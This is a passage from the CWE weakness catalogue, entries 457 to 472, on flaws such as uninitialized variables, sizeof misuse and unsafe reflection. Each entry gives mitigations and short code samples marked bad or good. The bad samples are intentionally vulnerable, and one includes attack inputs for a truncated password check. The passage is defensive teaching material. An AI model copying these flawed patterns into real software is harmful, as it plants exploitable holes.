    String username = user.getName();
}
```

Example 3:

This code first authenticates a user, then allows a delete command if the user is an administrator.

Example Language: PHP *(bad)*

```
if (authenticate($username,$password) && setAdmin($username)){
    $isAdmin = true;
}
/.../
if ($isAdmin){
    deleteUser($userToDelete);
}
```

The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true.

Example 4:

In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.

Example Language: Java *(bad)*

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager() {
        ...
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username){
        ...
    }
    // set user variable using username
    public void setUser(String username) {
        this.user = getUserFromUserDatabase(username);
    }
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
            isUserAuthentic = true;
        }
        return isUserAuthentic;
    }
    // methods for performing bank manager tasks
    ...
}
```

However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.

Example Language: Java *(good)*

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager(String username) {
        user = getUserFromUserDatabase(username);
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username) {...}
```

```
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (user == null) {
            System.out.println("Cannot find user " + username);
        }
        else {
            if (password.equals(user.getPassword())) {
                isUserAuthentic = true;
            }
        }
        return isUserAuthentic;
    }
        // methods for performing bank manager tasks
        ...
}
```

Observed Examples

MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2000

Notes

Relationship

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Research Gap

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

CWE-457: Use of Uninitialized Variable

Weakness ID : 457 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Perl *(Prevalence = Often)*

Language : PHP *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	Other *Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.*	
Authorization Other	Other *Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.*	

Potential Mitigations

Phase: Implementation

Strategy = Attack Surface Reduction

Assign all variables to an initial value.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Phase: Implementation

Phase: Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

Demonstrative Examples

Example 1:

This code prints a greeting using information stored in a POST request:

Example Language: PHP *(bad)*

```
if (isset($_POST['names'])) {
    $nameArray = $_POST['names'];
```

```
}
echo "Hello " . $nameArray['first'];
```

This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

Example 2:

The following switch statement is intended to set the values of the variables aN and bN before they are used:

Example Language: C *(bad)*

```
int aN, Bn;
switch (ctl) {
    case -1:
        aN = 0;
        bN = 0;
        break;
    case 0:
        aN = i;
        bN = -i;
        break;
    case 1:
        aN = i + NEXT_SZ;
        bN = i - NEXT_SZ;
        break;
    default:
        aN = -1;
        aN = -1;
        break;
}
repaint(aN, bN);
```

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

Observed Examples

Reference	Description
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0081*
CVE-2007-4682	Crafted input triggers dereference of an uninitialized object pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4682*

CWE-459: Incomplete Cleanup

Weakness ID : 459 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly "clean up" and remove temporary or supporting resources after they have been used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877
ParentOf	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	517
ParentOf	B	460	Improper Cleanup on Thrown Exception	981
ParentOf	V	568	finalize() Method Without super.finalize()	1146

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Insufficient Cleanup :

Common Consequences

Scope	Impact	Likelihood
Other Confidentiality Integrity	Other Read Application Data Modify Application Data DoS: Resource Consumption (Other) *It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

Demonstrative Examples

Example 1:

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

Example Language: Java *(bad)*

```
try {
    InputStream is = new FileInputStream(path);
    byte b[] = new byte[is.available()];
    is.read(b);
    is.close();
} catch (Throwable t) {
    log.error("Something bad happened: " + t.getMessage());
}
```

Observed Examples

Reference	Description
CVE-2000-0552	World-readable temporary file not deleted after use. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0552*

MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Notes

Relationship

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

Relationship

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Cleanup
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP14		Failure to release resource

CWE-460: Improper Cleanup on Thrown Exception

Weakness ID : 460 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.

Extended Description

Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *The code could be left in a bad state.*	

Potential Mitigations

Phase: Implementation

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
public class foo {
    public static final void main( String args[] ) {
        boolean returnValue;
        returnValue=doStuff();
    }
    public static final boolean doStuff( ) {
        boolean threadLock;
        boolean truthvalue=true;
        try {
            while(
            //check some condition
            ) {
                threadLock=true; //do some stuff to truthvalue
                threadLock=false;
            }
        }
        catch (Exception e){
            System.err.println("You did something bad");
            if (something) return truthvalue;
        }
        return truthvalue;
    }
}
```

In this case, you may leave a thread locked accidentally.

CWE-462: Duplicate Key in Associative List (Alist)

Weakness ID : 462 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

Extended Description

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	694	Use of Multiple Resources with Duplicate Identifier	1346

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Use a hash table instead of an alist.

Phase: Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

Demonstrative Examples

Example 1:

The following code adds data to a list and then attempts to sort the data.

Example Language: Python *(bad)*

```
alist = []
while (foo()): #now assume there is a string data with a key basename
    queue.append(basename,data)
    queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

MemberOf Relationships

CWE-463: Deletion of Data Structure Sentinel

Weakness ID : 463 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
PeerOf	B	464	Addition of Data Structure Sentinel	986
PeerOf	B	170	Improper Null Termination	395

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Other	Other *Generally this error will cause the data structure to not work properly.*	
Authorization Other	Other *If a control character, such as NULL is removed, one may cause resource access control problems.*	

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Use OS-level preventative functionality. Not a complete solution.

Demonstrative Examples

Example 1:

This example creates a null terminated string and prints it contents.

Example Language: C *(bad)*

```
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
    foo[counter]='a';
printf("%s\n",foo);
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-464: Addition of Data Structure Sentinel

Weakness ID : 464 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The accidental addition of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
PeerOf	B	170	Improper Null Termination	395
PeerOf	B	463	Deletion of Data Structure Sentinel	984

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Generally this error will cause the data structure to not work properly by truncating the data.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

Phase: Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution.

Demonstrative Examples

Example 1:

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

Example Language: C *(bad)*

```
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=atoi(getc(stdin));
```

```
foo[3]='c';
foo[4]='\0'
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by getc, then atoi will not make a conversion and return 0. When foo is printed as a string, the 0 at character foo[2] will act as a NULL terminator and foo[3] will never be printed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Notes

Maintenance

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.

CWE-467: Use of sizeof() on a Pointer Type

Weakness ID : 467 **Status:** Draft

Structure : Simple
Abstraction : Variant

Description

The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

Extended Description

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326
CanPrecede	B	131	Incorrect Calculation of Buffer Size	325

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Read Memory *This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.*	

Potential Mitigations

Phase: Implementation

Use expressions such as "sizeof(*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

Demonstrative Examples

Example 1:

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

Example Language: C *(bad)*

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.

Example Language: C *(good)*

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: *(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    printf("Sizeof username = %d\n", sizeof(username));
    printf("Sizeof pass = %d\n", sizeof(pass));
    if (strncmp(username, inUser, sizeof(username))) {
        printf("Auth failure of username using sizeof\n");
        return(AUTH_FAIL);
    }
    /* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
    if (! strncmp(pass, inPass, sizeof(pass))) {
        printf("Auth success of password using sizeof\n");
        return(AUTH_SUCCESS);
    }
    else {
        printf("Auth fail of password using sizeof\n");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv)
{
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult != AUTH_SUCCESS) {
        ExitError("Authentication failed");
    }
    else {
        DoAuthenticatedTask(argv[1]);
    }
}
```

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the

first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(attack)*

```
pass5
passABCDEFGH
passWORD
```

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

MemberOf Relationships

CWE-468: Incorrect Pointer Scaling

Weakness ID : 468 **Status:** Incomplete
Structure : Simple

Abstraction : Base

Description

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Memory Modify Memory *Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.*	

Potential Mitigations

Phase: Architecture and Design

Use a platform with high-level memory abstractions.

Phase: Implementation

Always use array indexing instead of direct pointer manipulation.

Phase: Architecture and Design

Use technologies for preventing buffer overflows.

Demonstrative Examples

Example 1:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C *(bad)*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID : 469 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity Confidentiality Availability	Modify Memory Read Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity *There is the potential for arbitrary code execution with privileges of the vulnerable program.*	

Potential Mitigations

Phase: Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always sanity check this number.

Demonstrative Examples

Example 1:

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

Example Language: C *(bad)*

```
struct node {
    int data;
    struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
    struct node* current = head;
    struct node* tail;
    while (current != NULL) {
        tail = current;
        current = current->next;
    }
    return tail - head;
}
// other methods for manipulating the list
...
```

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this

example a counter should be used to determine the number of nodes in the list, as shown in the following code.

Example Language: C *(good)*

```
...
int size(struct node* head) {
    struct node* current = head;
    int count = 0;
    while (current != NULL) {
        count++;
        current = current->next;
    }
    return count;
}
```

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID : 470 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

Extended Description

If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this

occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Interpreted *(Prevalence = Sometimes)*

Alternate Terms

Reflection Injection :

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands Alter Execution Logic *The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.*	
Availability Other	DoS: Crash, Exit, or Restart Other *The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the application to exit or hang.*	

Scope	Impact	Likelihood
Confidentiality	Read Application Data *By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.*	

Potential Mitigations

Phase: Architecture and Design

Refactor your code to avoid using reflection.

Phase: Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Phase: Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

Demonstrative Examples

Example 1:

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

Example Language: Java *(good)*

```
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
    ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
    ao = new ModifyCommand();
}
else {
    throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

Example Language: Java *(bad)*

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

Example Language: Java *(bad)*

```
String ctl = request.getParameter("ctl");
```

```
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);
```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

Observed Examples

Reference	Description

CWE-471: Modification of Assumed-Immutable Data (MAID)

Weakness ID : 471 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly protect an assumed-immutable element from being modified by an attacker.

Extended Description

This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Relationship

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

Theoretical

There are many examples where the MUTABILITY property is a major factor in a vulnerability.

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID : 472 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description

